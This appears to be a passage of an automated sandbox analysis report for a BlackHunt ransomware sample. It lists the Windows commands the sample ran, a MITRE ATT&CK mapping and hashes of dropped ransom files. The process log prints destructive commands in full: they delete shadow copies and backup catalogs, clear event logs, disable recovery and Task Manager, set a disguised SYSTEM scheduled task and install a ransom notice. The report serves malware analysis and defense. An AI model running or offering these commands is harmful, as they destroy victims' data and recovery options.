    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:5000
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:5004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2092
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1764
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:4356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:832
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2276
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2728
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1152
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1892
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe" /F
  2⤵
  PID:2848
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\bd6c7ee4b078256942476aefd995121fe7796a667eef88a14984f9ee27cbe6c2.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:3808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2000
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:3144
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:4756
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:4092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:5052
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:4380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3604
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3140
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:900
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2444
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1312
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:5076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2456
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:4536
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:4852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:5052
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:1052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:616
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:4608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:4160
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:3380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:3216
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:4656
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:404
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:6136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:3560
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3844
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:5832
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:4852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:5760
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:4052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:5752
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3140
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:5740
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:856
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:728
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:1560
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:1868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:1312
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:2332
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:4760
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:2660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:4064
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:2900
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:4356

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4736

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2440

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:4032

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:2268

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\#BlackHunt_Private.key

Filesize
1KB

MD5
ddb7f213c36e8c811c00bf604b42cb0e

SHA1
9e719a8671eee19935adcdc26fdd2865ddea14c5

SHA256
5f29634a130b82dc89e7d6b14e392eab24dffcefd9b16694e7e69a3b19583c7d

SHA512
4938e9acc1dda6800057cbc36d06917e8bf8a3639c5d558f62dc2b12eaf6d441102a399ba7c5ea343778d68c7accd7036d5e2817280b2289f6bc285de66dd564

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
64b009872cf555440e2a4f950d79c09d

SHA1
f3c8c262149e917d1a8ca783286f255ae68624a8

SHA256
b927300a408435f6cfa8712d7ea10a4453f1e6830ea957794f8141bfb11ab8be

SHA512
b679113311a340d2ce6c89611ff98ce44630c50399c119e4c2d14407f99f91386f7d85121d78a0781aeae75eb1abde8e1f8f26bc184d0daeb2db6a6feaca330d

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
50d9218533abac60e7b8ccefb28a6668

SHA1
4ef677cd02b640b64d242aec95676a48fb67b624

SHA256
cf36512dcf5274a71551d0908ccb86ca935a236922fbe92ff6f4b8b8849df15e

SHA512
715b737cf7adbf0bb6173f4dbf4c49f0f6f990e4764fac56d9c5cc093f21e33257f23b717887f90504325c859266f5dd6a08b41bef13d1a4336f54ccd683d88d

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads